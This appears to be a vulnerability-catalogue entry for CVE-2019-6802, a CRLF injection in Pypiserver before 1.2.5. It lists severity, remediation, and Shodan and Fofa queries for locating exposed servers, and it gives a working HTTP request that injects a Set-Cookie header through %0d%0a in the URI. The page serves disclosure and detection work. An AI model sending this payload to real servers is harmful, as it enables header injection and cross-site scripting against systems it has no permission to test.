| Title | Pypiserver <1.2.5 - Carriage Return Line Feed Injection |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Attackers can inject arbitrary HTTP headers through CRLF injection, potentially conducting cross-site scripting attacks or cache poisoning. |
| Remediation | Upgrade to Pypiserver version 1.2.5 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01051 |
| CVE ID | CVE-2019-6802 |
| CWE ID | CWE-74 |
| Shodan Query | html:"pypiserver"http.html:"pypiserver" |
| Fofa Query | body="pypiserver" |
| Tags | cve cve2019 crlf pypiserver python vuln |
Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
GET /%0d%0aSet-Cookie:crlfinjection=1; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-6802.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-6802.pcap
N/AN/A